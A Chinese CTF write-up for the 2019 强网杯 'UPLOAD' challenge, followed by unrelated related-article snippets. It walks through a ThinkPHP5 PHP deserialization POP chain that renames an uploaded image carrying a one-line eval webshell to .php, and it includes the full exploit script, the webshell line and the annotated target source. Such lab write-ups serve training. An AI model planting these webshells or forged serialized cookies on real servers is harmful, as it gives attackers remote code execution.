当前位置: 首页 > news >正文

CTF-Web习题:2019强网杯 UPLOAD

题目链接:2019强网杯 UPLOAD

解题思路

打开靶场如下图所示,是一个注册和登录界面
在这里插入图片描述
那就注册登录一下,发现是一个提交头像的页面:
在这里插入图片描述
试了一下只有能正确显示的png图片才能提交成功,同时F12拿到cookie,base64解码后能看到图片上传到的路径。
在这里插入图片描述
没发现什么有用的信息,试着扫扫目录,扫出来一个www.tar.gz文件,下载下来看一眼
(此处吐槽:用dirsearch.py扫了三次都没扫出来,用dirmap也没扫出来,最后查看dirsearch的默认字典准备把www.tar.gz加进去扫试试,结果里面本来就有,再扫就扫出来了,我不理解…)
在这里插入图片描述
那就下载下来看看,(这里下载下来的压缩文件在kali里解压不了,拿出来到360压缩却能成功解压,360真的很神奇)是ThinkPhp5框架编写的项目源码
在这里插入图片描述
该框架下核心代码一般都在application/web/controller目录下,审阅代码发现Index.phpRegister.php文件下有两个断点,应该是作者的Hint(提示),详情如下:

Index.php:
断点打在login_check方法中,且访问大部分页面都会调用该方法,该方法先从cookie中获取用户信息,并将该信息反序列化,随后到数据库中查找比对相关信息是否一致
在这里插入图片描述

Register.php:
断点打在改Register类的析构方法__destruct()中,该方法在对象被销毁时调用,该析构方法内的语句意思是:如果没有注册,则跳转到首页,这儿可能有点云里雾里,没关系,Register类的详情我们在文末详细分析。
在这里插入图片描述

此时已经有析构方法,反序列化,文件上传等线索,可以大概推测出本题想要考察反序列化与文件上传。那么接下来就去看看上传头像的业务逻辑,在application/web/controller.Profile.php中:

Profile.php:

首先可以看到上传头像的方法upload_img(),主要逻辑是:
先检查是否登录,没登陆则跳转首页;然后判断是否有文件,如果有文件,就将文件拓展名改为png;然后检查是否为正常可显示的图片,如果是,就将文件复制到目标路径下,并存储到数据库,否则报错。
在这里插入图片描述

再往下看,可以看到Profile类也有两个魔术方法:__get()__call(),分别编写了在调用不可调用的成员变量调用不可调用的方法时应该怎么做:

__get ($name):
当调用不可调用的成员变量(例如私有变量)或不存在的变量时,会从自身的except变量数组里查找返回

__call($name,$arguments):
当调用不可调用的方法(例如私有方法)或不存在的方法时,判断是否有name的属性,如果有,以name的值为方法名尝试调用该方法
在这里插入图片描述

以上所有的魔术方法都会在本题中发挥重要作用!!!!!!!!

至此,根据我们搜集到的信息,我们可以利用index.php里的login_check()方法内的反序列化漏洞,伪造一个cookie,反序列化出一个我们制造的对象,通过自定义对象的属性值,来进行后续操作。(大致思路)

这里我们的思路是:
1、构造一个图片马,注册一个新号上传上去,并记录下该文件的具体位置
2、构造一个对象(构造什么对象?我们后续详细操作步骤来探讨),利用反序列化与魔术方法将文件后缀修改为.php
3、利用蚁剑连接,获取flag

那么接下来就开始操作吧!

1、构造图片马并上传

我们直接保存百度的logo,然后用notepad++打开,在末尾嵌入<?php @eval($_POST["password"]);?>一句话木马,此处的"password"就是蚁剑的连接密码
在这里插入图片描述
上传之后我们通过查看cookie记住文件的存储位置:
eg:../upload/c7129430ace4c05bd5bcee0bd02b538b/0ee66fdd85690660cc9316918e6ccb78.png

注意: 此处的一句话木马如果上传上去连接提示返回值为空,可能存在以下问题:

  • POST没有大写
  • <?php @eval($_POST["password"]);?>要双引号,单引号可能导致解析失败
  • 一句话木马书写有误
  • 蚁剑编码器解码器都选择base64
2、构造对象,利用反序列化调用魔术方法修改文件后缀为php

我们要构造一个什么对象?要明白这个问题,我们要回到反序列化的源头index.php文件的login_check()方法(请大家自行查看源码,篇幅原因这里不再贴出),可以看到此方法在反序列化对象之后,程序没有任何地方调用过该对象的成员属性和成员方法(用phpstorm看),因此,唯一能发挥作用的只有之前提到过的__destruct()方法,在对象销毁时调用。
在本题中,只有Register类有该魔术方法,因此,我们要构造的就是Register类的对象:

class Register{public $checker;public $registed;public function __destruct(){if(!$this->registed){$this->checker->index();}}
}
$register = new Register();
$register->registed = false;

再来看该魔术方法的逻辑,想要通过判断,应有registed = false,然后它调用了成员变量checkerinedx()方法,该方法是Index.phpIndex类下的,发现如果正常调用,没有什么地方有漏洞。这个应该想到魔术方法__call()了,它在调用不可调用或者不存在的方法时被调用,该魔术方法在Profile类中,且该类并没有index()方法,因此,我们可以确定,变量checker的值,就是Profile类的对象。
为此我们还应该实例化一个Profile类:

class Profile{public $checker;public $filename_tmp;public $filename;public $upload_menu;public $ext;public $img;public $except;public function __get($name){return $this->except[$name];}public function __call($name, $arguments){if($this->{$name}){$this->{$this->{$name}}($arguments);}}
}
$profile = new Profile();
$register->checker = $profile;

承接上述逻辑,当调用profile对象的index()方法,然该方法不存在,则转而调用魔术方法并传入参数:__call("index")方法,此时,会检查profile对象中有没有index这个属性,显然是没有的,那么调用不存在的属性时,就会调用__get()方法,从except数组中查找以index为键查找对应的值A,并调用profile对象中以属性A的值为名称的方法!!也就是说,我们可以以此方式调用Profile对象中的任何函数!!!!!,查看源码发现,通过调用upload_img方法,可以将文件从filename_tmp复制到filename处,并删除filename_tmp文件,就可以实现文件名后缀修改为php!!!
因此,在profile对象属性构造上,可有如下:

$profile->except = ['index' => 'img'];
$profile->img = "upload_img";

现在可以调用upload_img()方法了,通过查看源码发现前两个if不给checker赋值,不上传文件,即可绕过,最后一个if需要ext不为空,通过修改filename_tmpfilename的值,即可实现文件名和后缀的修改,属性赋值如下:
注意:(这里的文件路径加了/public,是因为Profile类的构造函数会加public,而我们的反序列化不会调用构造函数,所以需要我们手动加上去)

$profile->ext = "png";//过if必须参数,=true也可以
$profile->filename_tmp = "../public/upload/c7129430ace4c05bd5bcee0bd02b538b/0ee66fdd85690660cc9316918e6ccb78.png";
$profile->filename = "../public/upload/c7129430ace4c05bd5bcee0bd02b538b/0ee66fdd85690660cc9316918e6ccb78.php";

最后还要加上命名空间namespace,位置和源码的Register类一致app\web\controller,用来说明这个类来自哪里,不然人家靶场不知道具体该从哪里序列化这个Profile类。然后序列化register对象即可。

整理代码如下所示:

namespace app\web\controller;
class Profile{public $checker;public $filename_tmp;public $filename;public $upload_menu;public $ext;public $img;public $except;public function __get($name){return $this->except[$name];}public function __call($name, $arguments){if($this->{$name}){$this->{$this->{$name}}($arguments);}}
}
class Register{public $checker;public $registed;public function __destruct(){if(!$this->registed){$this->checker->index();}}
}
$profile = new Profile();
$profile->except = ['index' => 'img'];
$profile->img = "upload_img";
$profile->ext = "png";
$profile->filename_tmp = "../public/upload/c7129430ace4c05bd5bcee0bd02b538b/0ee66fdd85690660cc9316918e6ccb78.png";
$profile->filename = "../public/upload/c7129430ace4c05bd5bcee0bd02b538b/0ee66fdd85690660cc9316918e6ccb78.php";$register = new Register();
$register->registed = false;
$register->checker = $profile;
echo urlencode(base64_encode(serialize($register)));

运行这段代码(POC),得到Cookie,利用Hackbar插件将cookie发送到靶机,然后出现如下页面

在这里插入图片描述
让我们访问.php文件看看修改成功没有,发现访问成功!
在这里插入图片描述

3、连接蚁剑,获取flag

在这里插入图片描述
url处输入我们图片马的链接,密码是一句话木马的参数名,连接成功~,然后在根目录下找到flag文件提交即可。

源码审计详解

1、Index.php
<?php
namespace app\web\controller;//定义命名空间,表示这个类属于app\web\controller
use think\Controller;//引入ThinkPHP5的Controller基类class Index extends Controller//Index类继承th5的Controller类
{public $profile;//会话中的用户信息public $profile_db;//数据库中的用户信息//index是默认的控制器方法,用来处理用户访问主页的请求public function index(){//检查是否登录,如果已登录则重定向到home方法if($this->login_check()){$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/home";//构建重定向的URL$this->redirect($curr_url,302);//执行重定向,并返回302状态码(临时重定向)exit();//终止脚本执行}return $this->fetch("index");//如果用户未登录,则返回index视图}//home方法用于处理用户访问主页后的逻辑public function home(){//如果未登录if(!$this->login_check()){$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";//重定向到index方法$this->redirect($curr_url,302);//执行重定向,并返回302状态码exit();//终止程序执行}//如果用户没有上传图片if(!$this->check_upload_img()){$this->assign("username",$this->profile_db['username']);//调用tp5框架的assign方法,将username分配到视图上显示return $this->fetch("upload");//返回上传图片的视图}else{ //如果用户上传了图片$this->assign("img",$this->profile_db['img']);//将img分配到视图上显示$this->assign("username",$this->profile_db['username']);//将username分配到视图上显示return $this->fetch("home");//返回home视图}}//用于检查用户是否登录public function login_check(){$profile=cookie('user');//获取cookie中的用户信息//cookie中用户信息非空if(!empty($profile)){$this->profile=unserialize(base64_decode($profile));//解码反序列化用户信息$this->profile_db=db('user')->where("ID",intval($this->profile['ID']))->find();//从数据库中查询用户信息//如果数据库的用户信息与cookie中一致,则返回1,否则返回0if(array_diff($this->profile_db,$this->profile)==null){return 1;}else{return 0;}}}//检查用户是否上传了图片public function check_upload_img(){//如果cookie中用户信息非空,且,数据库用户信息非空if(!empty($this->profile) && !empty($this->profile_db)){//如果数据库中img字段为空,返回0,否则返回1if(empty($this->profile_db['img'])){return 0;}else{return 1;}}}//用于处理用户注销public function logout(){cookie("user",null);//设置cookie为null$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";//重定向到index视图$this->redirect($curr_url,302);//执行重定向,并返回302状态码exit();//终止程序执行}//魔术方法,当调用不可调用或不存在的属性时调用,返回一个空字符串。public function __get($name){return "";}}
2、Register.php
<?php
namespace app\web\controller;
use think\Controller;class Register extends Controller
{public $checker;public $registed;//构造方法,初始化register对象时调用public function __construct(){$this->checker=new Index(); //实例化一个Index对象赋值给checker}//处理用户的注册方法public function register(){//如果checker非空if ($this->checker) {//调用起login_check()方法检查用户书否登录,如果登录if($this->checker->login_check()){$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/home";//重定向到home视图$this->redirect($curr_url,302);//执行重定向,发送302状态码exit();//中断脚本执行}}//从POST请求中获取'username'、'email'和'password'进行输入校验//如果都不为空if (!empty(input("post.username")) && !empty(input("post.email")) && !empty(input("post.password"))) {//input是tp5的函数$email = input("post.email", "", "addslashes");//调用addslashes函数对mail中的特殊字符进行转义$password = input("post.password", "", "addslashes");$username = input("post.username", "", "addslashes");//如果邮箱检测合法if($this->check_email($email)) {//如果数据库内内没有相同用户名或邮箱的用户if (empty(db("user")->where("username", $username)->find()) && empty(db("user")->where("email", $email)->find())) {$user_info = ["email" => $email, "password" => md5($password), "username" => $username];//构建userinfo数组//向数据库中新增用户,如果成功if (db("user")->insert($user_info)) {$this->registed = 1;//设置已注册标记$this->success('Registed successful!', url('../index'));//利用tp5的success方法跳转到成功页面} else {//新增用户失败则跳转到注册失败页面$this->error('Registed failed!', url('../index'));}} else {//如果数据库中存在同用户名或邮箱用户,提示用户已存在$this->error('Account already exists!', url('../index'));}}else{//如果邮箱验证错误,提示邮箱无效$this->error('Email illegal!', url('../index'));}} else {//如果post参数有误,提示有空值$this->error('Something empty!', url('../index'));}}//检查邮箱是否合法public function check_email($email){$pattern = "/^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[a-z0-9-]+(\.[a-z0-9-]+)*(\.[a-z]{2,})$/";//构建正则表达式preg_match($pattern, $email, $matches);//利用该函数进行匹配if(empty($matches)){//匹配失败返回0return 0;}else{//否则返回1return 1;}}//魔术方法,在对象销毁时调用public function __destruct(){如果已注册if(!$this->registed){//调用checker的index()方法返回主页$this->checker->index();}}
}
3、Profile.php
<?php
namespace app\web\controller;use think\Controller;class Profile extends Controller
{public $checker;public $filename_tmp;public $filename;public $upload_menu;public $ext;public $img;public $except;//构造函数public function __construct(){$this->checker=new Index();//实例化一个Index对象给checker$this->upload_menu=md5($_SERVER['REMOTE_ADDR']);//使用客户端的IP地址生产一个MD5值,作为上传目录的名称@chdir("../public/upload");//切换相对目录,如果没有该目录则创建//如果当前没有该上传目录,则新建一个if(!is_dir($this->upload_menu)){@mkdir($this->upload_menu);}@chdir($this->upload_menu);//切换到上传目录}//上传头像方法public function upload_img(){//检查checker对象是否存在if($this->checker){//如果存在,调用其login_check方法检查是否登录,如果未登录if(!$this->checker->login_check()){$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";//重定向到index视图$this->redirect($curr_url,302);exit();}}//如果上传文件非空if(!empty($_FILES)){$this->filename_tmp=$_FILES['upload_file']['tmp_name'];//获取文件在服务器上的临时文件路径$this->filename=md5($_FILES['upload_file']['name']).".png";//获取文件的原始名称,并进行md5编码$this->ext_check();//检查文件扩展名是否合法}//如果ext非空if($this->ext) {//如果文件时有效图像if(getimagesize($this->filename_tmp)) {@copy($this->filename_tmp, $this->filename);//将文件复制到filename处@unlink($this->filename_tmp);//删除临时文件$this->img="../upload/$this->upload_menu/$this->filename";//编辑img的存储地址$this->update_img();//更新图片}else{$this->error('Forbidden type!', url('../index'));}}else{$this->error('Unknow file type!', url('../index'));}}//更新图片public function update_img(){$user_info=db('user')->where("ID",$this->checker->profile['ID'])->find();//从数据库查询用户信息//如果用户没有头像,且当前图像存在if(empty($user_info['img']) && $this->img){//更新用户数据库中的头像信息if(db('user')->where('ID',$user_info['ID'])->data(["img"=>addslashes($this->img)])->update()){$this->update_cookie();//更新cookie$this->success('Upload img successful!', url('../home'));//返回访问成功}else{$this->error('Upload file failed!', url('../index'));}}}//更细cookiepublic function update_cookie(){$this->checker->profile['img']=$this->img;cookie("user",base64_encode(serialize($this->checker->profile)),3600);}//拓展名检查public function ext_check(){$ext_arr=explode(".",$this->filename);//yi.分割ffilename为数组$this->ext=end($ext_arr);//获取数组最后一个元素if($this->ext=="png"){//如果是png返回1,否则返回0return 1;}else{return 0;}}//魔术方法,访问不存在的变量或不可访问的变量时调用public function __get($name){return $this->except[$name];//从except数组中找}//魔术方法,当调用不可调用的方法或不存在的方法时调用public function __call($name, $arguments){//看看是否有该变量if($this->{$name}){//如果有,调用以该变量的值为名称的函数$this->{$this->{$name}}($arguments);}}}

碎片知识补充

1、文件下载

比如这题的www.tar.gz文件,可以通过浏览器直接访问下载,也可以通过linux命令下载:
wget [url] -o [要保存位的文件名]
curl -o [要保存位的文件名] [url]

相关文章:

CTF-Web习题:2019强网杯 UPLOAD

题目链接&#xff1a;2019强网杯 UPLOAD 解题思路 打开靶场如下图所示&#xff0c;是一个注册和登录界面 那就注册登录一下&#xff0c;发现是一个提交头像的页面&#xff1a; 试了一下只有能正确显示的png图片才能提交成功&#xff0c;同时F12拿到cookie&#xff0c;base6…...

Unity环境渲染与反射探针的深入探索

目录 环境渲染基础 光源设置 材质与光照贴图 反射探针&#xff08;Reflection Probes&#xff09;详解 反射探针的创建与配置 材质中的反射探针设置 实践案例 实践案例&#xff1a;室内场景中的反射效果 场景设置 反射探针配置 Unity代码示例&#xff08;非直接配置…...

vue3 父组件 props 异步传值,子组件接收不到或接收错误

1. 使用场景 我们在子组件中通常需要调用父组件的数据&#xff0c;此时需要使用 vue3 的 props 进行父子组件通信传值。 2. 问题描述 那么此时问题来了&#xff0c;在使用 props 进行父子组件通信时&#xff0c;因为数据传递是异步的&#xff0c;导致子组件无法成功获取数据…...

[C++]TinyWebServer

TinyWebServer 文章目录 TinyWebServer1 主体框架2 Buffer2.1 向Buffer写入数据2.2 从Buffer读取数据2.3 动态扩容2.4 从socket中读取数据2.5 具体实现 3 日志系统3.1 生产者-消费者模型3.2 数据一致3.3 代码 4 定时器4.1 调整堆中元素操作4.2 堆的操作4.2.1 增4.2.2 删4.2.3 改…...

Uniswap价格批量查询与ws订阅行情

Uniswap价格批量查询与ws订阅行情 由于 Uniswap V1 版本必须包含 ETH 所以两个 token 之间交换必须先换成 ETH 去中转效率很低已经弃用了 由于 V3 版本 CLMM 和 V4 版本的 DLMM 数学模型过于复杂&#xff0c;还是先从 AMM 模型的 V2 进行入门和学习 Uniswap 三种合约 Unisw…...

vue 实战 区域内小组件元素拖拽 示例

<template><div><el-button type"primary" click"showDialog true">快捷布局</el-button><el-dialog title"快捷布局配置" :visible.sync"showDialog"><el-row :gutter"20"><el-co…...

C++多线程编程中的锁详解

在现代软件开发中&#xff0c;多线程编程是提升应用程序性能和响应能力的重要手段。然而&#xff0c;多线程编程也带来了数据竞争和死锁等复杂问题。为了确保线程间的同步和共享数据的一致性&#xff0c;C标准库提供了多种锁机制。 1. std::mutex std::mutex是最基础的互斥锁…...

van-dialog 组件调用报错

报错截图 报错原因 这个警告表明 vue 在渲染页面时遇到了一个未知的自定义组件 <van-dialog>&#xff0c;并且提示可能是由于未正确注册该组件导致的。在 vue 中&#xff0c;当我们使用自定义组件时&#xff0c;需要先在 vue 实例中注册这些组件&#xff0c;以便 vue 能…...

【Django】在vscode中运行调试Django项目(命令及图形方式)

文章目录 命令方式图形方式默认8000端口设置自定义端口 命令方式 python manage.py runserver图形方式 默认8000端口 设置自定义端口...

麦田物语第十三天

系列文章目录 麦田物语第十三天 文章目录 系列文章目录一、实现根据物品详情显示 ItemTooltip1.ItemTooltips脚本编写二、制作 Player 的动画一、实现根据物品详情显示 ItemTooltip 1.ItemTooltips脚本编写 首先创建Scripts->Inventory->UI->ItemTooltip脚本,然后…...

【Git多人协作开发】不同的分支下的多人协作开发模式

目录 0.前言背景 1.开发者1☞完成准备工作&协作开发 1.1查看分支情况 1.2创建本地分支feature-1 1.3三板斧 1.4push推本地分支feature-1到远程仓库 2.开发者2☞完成准备工作&协作开发 2.1创建本地分支feature-2 2.2三板斧 2.2push推送本地feature-2到远程仓库…...

Lua 复数计算器

Lua复数计算器 主要包括复数的加减乘除操作&#xff0c;以及打印 编写复数类 -- ***** 元类 ***** Complex {real 0, imag 0}-- 构造函数 function Complex:new(real, imag)local o o or {}o.real real or 0o.imag imag or 0setmetatable(o, self)self.__index selfr…...

深入MySQL中的IF和IFNULL函数

在数据库查询中&#xff0c;我们经常需要根据条件来决定数据的显示方式。MySQL提供了多种内置函数来帮助我们实现这种条件逻辑&#xff0c;其中IF和IFNULL是两个非常有用的函数。在这篇博客中&#xff0c;我们将深入探讨这两个函数的用法和它们在实际查询中的应用。 IF函数 I…...

AI多模态实战教程:面壁智能MiniCPM-V多模态大模型问答交互、llama.cpp模型量化和推理

一、项目简介 MiniCPM-V 系列是专为视觉-语⾔理解设计的多模态⼤型语⾔模型&#xff08;MLLMs&#xff09;&#xff0c;提供⾼质量的⽂本输出&#xff0c;已发布4个版本。 1.1 主要模型及特性 &#xff08;1&#xff09;MiniCPM-Llama3-V 2.5&#xff1a; 参数规模: 8B性能…...

Docker 搭建Elasticsearch详细步骤

本章教程使用Docker搭建Elasticsearch环境。 一、拉取镜像 docker pull docker.elastic.co/elasticsearch/elasticsearch:8.8.2二、运行容器 docker run -d --name elasticsearch -p 9200:9200 -p 9300:9300 -e "discovery.type=single-n...

mysql中提供的函数

文章目录 1.聚合函数2.字符串函数3.数值函数4.日期函数5.流程函数 MySQL 是一个功能强大的关系型数据库管理系统&#xff0c;其中包含了丰富的内置函数&#xff0c;用于处理各种数据操作和查询。这些函数可以分为多种类型&#xff0c;包括字符串函数、数值函数、日期和时间函数…...

加速下载,揭秘Internet Download Manager2024下载器的威力!

1. Internet Download Manager&#xff08;IDM&#xff09;是一款广受欢迎的下载管理软件&#xff0c;以其强大的下载加速功能和用户友好的界面著称。 IDM马丁正版下载如下: https://wm.makeding.com/iclk/?zoneid34275 idm最新绿色版一键安装包链接&#xff1a;抓紧保存以…...

oracle 宽表设计

Oracle宽表设计主要涉及到数据库表或视图中字段&#xff08;列&#xff09;数量较多的情况。在Oracle 23c及以后的版本中&#xff0c;数据库表或视图中允许的最大列数已增加到4096&#xff0c;这为宽表设计提供了更大的灵活性。以下是对Oracle宽表设计的详细分析&#xff1a; …...

winrar安装好后,鼠标右键没有弹出解压的选项

本来安装挺好的&#xff0c;可以正常使用&#xff0c;有天我把winrar相关的文件挪了个位置&#xff0c;就不能正常使用了。 然后我去应用里面找&#xff0c;找到应用标识了&#xff0c;但是找不到对应的文件夹&#xff08;因为我挪到另外一个文件夹里了&#xff09;。 于是我找…...

数字图像处理笔记(一)---- 图像数字化与显示

系列文章目录 数字图像处理学习笔记&#xff08;一&#xff09;---- 图像数字化与显示 数字图像处理笔记&#xff08;二&#xff09;---- 像素加图像统计特征 数字图像处理笔记&#xff08;三) ---- 傅里叶变换的基本原理 文章目录 系列文章目录前言一、数字图像处理二、图像数…...

浏览器访问 AWS ECS 上部署的 Docker 容器(监听 80 端口)

✅ 一、ECS 服务配置 Dockerfile 确保监听 80 端口 EXPOSE 80 CMD ["nginx", "-g", "daemon off;"]或 EXPOSE 80 CMD ["python3", "-m", "http.server", "80"]任务定义&#xff08;Task Definition&…...

React 第五十五节 Router 中 useAsyncError的使用详解

前言 useAsyncError 是 React Router v6.4 引入的一个钩子&#xff0c;用于处理异步操作&#xff08;如数据加载&#xff09;中的错误。下面我将详细解释其用途并提供代码示例。 一、useAsyncError 用途 处理异步错误&#xff1a;捕获在 loader 或 action 中发生的异步错误替…...

Python爬虫实战:研究feedparser库相关技术

1. 引言 1.1 研究背景与意义 在当今信息爆炸的时代,互联网上存在着海量的信息资源。RSS(Really Simple Syndication)作为一种标准化的信息聚合技术,被广泛用于网站内容的发布和订阅。通过 RSS,用户可以方便地获取网站更新的内容,而无需频繁访问各个网站。 然而,互联网…...

Mac软件卸载指南,简单易懂!

刚和Adobe分手&#xff0c;它却总在Library里给你写"回忆录"&#xff1f;卸载的Final Cut Pro像电子幽灵般阴魂不散&#xff1f;总是会有残留文件&#xff0c;别慌&#xff01;这份Mac软件卸载指南&#xff0c;将用最硬核的方式教你"数字分手术"&#xff0…...

TRS收益互换:跨境资本流动的金融创新工具与系统化解决方案

一、TRS收益互换的本质与业务逻辑 &#xff08;一&#xff09;概念解析 TRS&#xff08;Total Return Swap&#xff09;收益互换是一种金融衍生工具&#xff0c;指交易双方约定在未来一定期限内&#xff0c;基于特定资产或指数的表现进行现金流交换的协议。其核心特征包括&am…...

土地利用/土地覆盖遥感解译与基于CLUE模型未来变化情景预测;从基础到高级,涵盖ArcGIS数据处理、ENVI遥感解译与CLUE模型情景模拟等

&#x1f50d; 土地利用/土地覆盖数据是生态、环境和气象等诸多领域模型的关键输入参数。通过遥感影像解译技术&#xff0c;可以精准获取历史或当前任何一个区域的土地利用/土地覆盖情况。这些数据不仅能够用于评估区域生态环境的变化趋势&#xff0c;还能有效评价重大生态工程…...

GitHub 趋势日报 (2025年06月08日)

&#x1f4ca; 由 TrendForge 系统生成 | &#x1f310; https://trendforge.devlive.org/ &#x1f310; 本日报中的项目描述已自动翻译为中文 &#x1f4c8; 今日获星趋势图 今日获星趋势图 884 cognee 566 dify 414 HumanSystemOptimization 414 omni-tools 321 note-gen …...

零基础在实践中学习网络安全-皮卡丘靶场(第九期-Unsafe Fileupload模块)(yakit方式)

本期内容并不是很难&#xff0c;相信大家会学的很愉快&#xff0c;当然对于有后端基础的朋友来说&#xff0c;本期内容更加容易了解&#xff0c;当然没有基础的也别担心&#xff0c;本期内容会详细解释有关内容 本期用到的软件&#xff1a;yakit&#xff08;因为经过之前好多期…...

Reasoning over Uncertain Text by Generative Large Language Models

https://ojs.aaai.org/index.php/AAAI/article/view/34674/36829https://ojs.aaai.org/index.php/AAAI/article/view/34674/36829 1. 概述 文本中的不确定性在许多语境中传达,从日常对话到特定领域的文档(例如医学文档)(Heritage 2013;Landmark、Gulbrandsen 和 Svenevei…...

A2A JS SDK 完整教程:快速入门指南

目录 什么是 A2A JS SDK?A2A JS 安装与设置A2A JS 核心概念创建你的第一个 A2A JS 代理A2A JS 服务端开发A2A JS 客户端使用A2A JS 高级特性A2A JS 最佳实践A2A JS 故障排除 什么是 A2A JS SDK? A2A JS SDK 是一个专为 JavaScript/TypeScript 开发者设计的强大库&#xff…...